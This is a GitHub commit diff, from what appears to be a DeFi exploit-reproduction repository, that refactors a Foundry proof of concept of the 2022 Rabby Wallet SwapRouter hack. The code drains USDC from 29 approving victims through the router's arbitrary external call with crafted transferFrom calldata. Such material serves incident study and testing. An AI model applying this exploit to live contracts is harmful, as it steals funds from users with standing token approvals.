Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit b9a6c9a

Browse files
authored
Merge pull request SunWeb3Sec#526 from eloi010/improvement-RabbyWallet
2 parents 6ba1b16 + 6ff872b commit b9a6c9a

2 files changed

Lines changed: 41 additions & 30 deletions

File tree

src/test/RabbyWallet_SwapRouter.exp.sol

Lines changed: 39 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,6 @@ import "forge-std/Test.sol";
55
import "./interface.sol";
66

77
// @KeyInfo - Total Lost : ~200,000 US$
8-
// Root cause : Classic arbitrary external call vulnerability
9-
// Multiple tokens has been stolen, and 114 ETH deposited to Tornado Cash
108
// Attacker : 0xb687550842a24d7fbc6aad238fd7e0687ed59d55
119
// Attack Contract : 0x9682f31b3f572988f93c2b8382586ca26a866475
1210
// Vulnerable Contract : 0x6eb211caf6d304a76efe37d9abdfaddc2d4363d1 and these: https://twitter.com/Rabby_io/status/1579833969566449666
@@ -32,32 +30,34 @@ import "./interface.sol";
3230
// 0x6899b8caee16dbd75359cabcd24e32b2362c474cdf39ea810cf4386018761beb
3331
// 0x07887fffc4488354d813fdcca5da0586dd6f9a3da36d503af768302eacbeec41
3432
// Reproduce Tx: Steal USDC - 0x914c1ae4f03657064f0b1d5ddc6e06f39e82bce6fb2f726efdca52c092fbfc26
35-
//
33+
3634
// @Analysis
37-
// Supremacy Inc. : https://twitter.com/Supremacy_CA/status/1579813933669486592
38-
// SlowMist : https://twitter.com/SlowMist_Team/status/1579839744128978945
39-
// Beosin Alert : https://twitter.com/BeosinAlert/status/1579856733178331139
35+
// Twitter Supremacy : https://twitter.com/Supremacy_CA/status/1579813933669486592
36+
// Twitter SlowMist : https://twitter.com/SlowMist_Team/status/1579839744128978945
37+
// Twitter Beosin Alert : https://twitter.com/BeosinAlert/status/1579856733178331139
38+
39+
// Root cause : Classic arbitrary external call vulnerability
40+
// Multiple tokens has been stolen, and 114 ETH deposited to Tornado Cash
4041

41-
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
42-
address constant attacker = 0xb687550842a24D7FBC6Aad238fd7E0687eD59d55;
43-
address constant RabbySwapRouter = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1;
44-
address constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
45-
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
42+
contract ContractTest is Test {
43+
IRabbySwap constant RABBYSWAP_ROUTER = IRabbySwap(0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1);
44+
IUSDT constant USDT_TOKEN = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
45+
IUSDC constant USDC_TOKEN = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
4646

47-
contract Attacker is Test {
4847
function setUp() public {
49-
cheat.createSelectFork("mainnet", 15_724_451);
50-
cheat.label(attacker, "attacker");
51-
cheat.label(RabbySwapRouter, "RabbySwapRouter");
52-
cheat.label(usdt, "USDT");
53-
cheat.label(usdc, "USDC");
48+
vm.createSelectFork("mainnet", 15_724_451);
49+
vm.label(address(RABBYSWAP_ROUTER), "RABBYSWAP_ROUTER");
50+
vm.label(address(USDT_TOKEN), "USDT_TOKEN");
51+
vm.label(address(USDC_TOKEN), "USDC_TOKEN");
5452
}
5553

5654
function testExploit() public {
57-
emit log_named_decimal_uint("[Before] Attacker's USDC Balance:", IERC20(usdc).balanceOf(address(this)), 6);
55+
emit log_named_decimal_uint(
56+
"[Start] Attacker USDC balance before exploit", USDC_TOKEN.balanceOf(address(this)), 6
57+
);
5858

59-
// Somehow attacker got these EOA addresses that are approved the Rabby Wallet Swap Router contract.
60-
// ...Maybe the attacker grep the history Txs and find those victims that interacted with the Swap Router contract.
59+
// Somehow attacker got these EOA addresses that approved the Rabby Wallet Swap Router contract.
60+
// ...Maybe the attacker grepped the history Txs and found those victims that interacted with the Swap Router contract.
6161
address[29] memory victims = [
6262
0x94228872bb16CBCDfe010c42a8e456d15B366bF1,
6363
0x6a3BCee1eBeBDaA099a46d21a355D0FF1C521fCB,
@@ -91,37 +91,46 @@ contract Attacker is Test {
9191
];
9292

9393
for (uint256 i; i < victims.length; ++i) {
94-
// Step1: Check the victim allowance
95-
uint256 vic_balance = IERC20(usdc).balanceOf(victims[i]);
96-
uint256 vic_allowance = IERC20(usdc).allowance(victims[i], RabbySwapRouter);
94+
// Step 1: Check the victim's USDC balance and allowance to RABBYSWAP_ROUTER
95+
uint256 vic_balance = USDC_TOKEN.balanceOf(victims[i]);
96+
uint256 vic_allowance = USDC_TOKEN.allowance(victims[i], address(RABBYSWAP_ROUTER));
9797

98-
// Step2: If allowance >= balance: exploit!
98+
// Step 2: If allowance >= balance: exploit!
9999
if (vic_allowance >= vic_balance) {
100100
// Classic arbitrary external calls `swap()` vulnerability, and the parameter `address dexRouter` is controllable.
101101
bytes memory usdc_callbackData = abi.encodeWithSignature(
102102
"transferFrom(address,address,uint256)", victims[i], address(this), vic_balance
103103
);
104-
IRabbySwap(RabbySwapRouter).swap(
105-
usdt, 0, address(this), 4660, usdc, usdc, usdc_callbackData, block.timestamp
104+
RABBYSWAP_ROUTER.swap(
105+
address(USDT_TOKEN),
106+
0,
107+
address(this),
108+
4660,
109+
address(USDC_TOKEN),
110+
address(USDC_TOKEN),
111+
usdc_callbackData,
112+
block.timestamp
106113
);
107114
}
108115
}
109116

110-
emit log_named_decimal_uint("[After] Attacker's USDC Balance:", IERC20(usdc).balanceOf(address(this)), 6);
117+
emit log_named_decimal_uint(
118+
"[End] Attacker USDC balance before exploit", USDC_TOKEN.balanceOf(address(this)), 6
119+
);
111120
}
112121

113-
function balanceOf(address) external view returns (uint256) {
122+
function balanceOf(address) external pure returns (uint256) {
114123
return 100e18;
115124
}
116125

117-
function transfer(address, uint256) external view returns (bool) {
126+
function transfer(address, uint256) external pure returns (bool) {
118127
return true;
119128
}
120129

121130
receive() external payable {}
122131
}
123132

124-
/* -------------------- Interface -------------------- */
133+
/* -------------------- RabbySwap Interface -------------------- */
125134
interface IRabbySwap {
126135
function swap(
127136
address srcToken,

src/test/interface.sol

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1417,6 +1417,8 @@ interface IUSDC {
14171417
function balanceOf(address) external view returns (uint256);
14181418

14191419
function approve(address spender, uint256 value) external returns (bool);
1420+
1421+
function allowance(address owner, address spender) external view returns (uint256);
14201422
}
14211423

14221424
interface IBaseV1Router01 {

0 commit comments

Comments
 (0)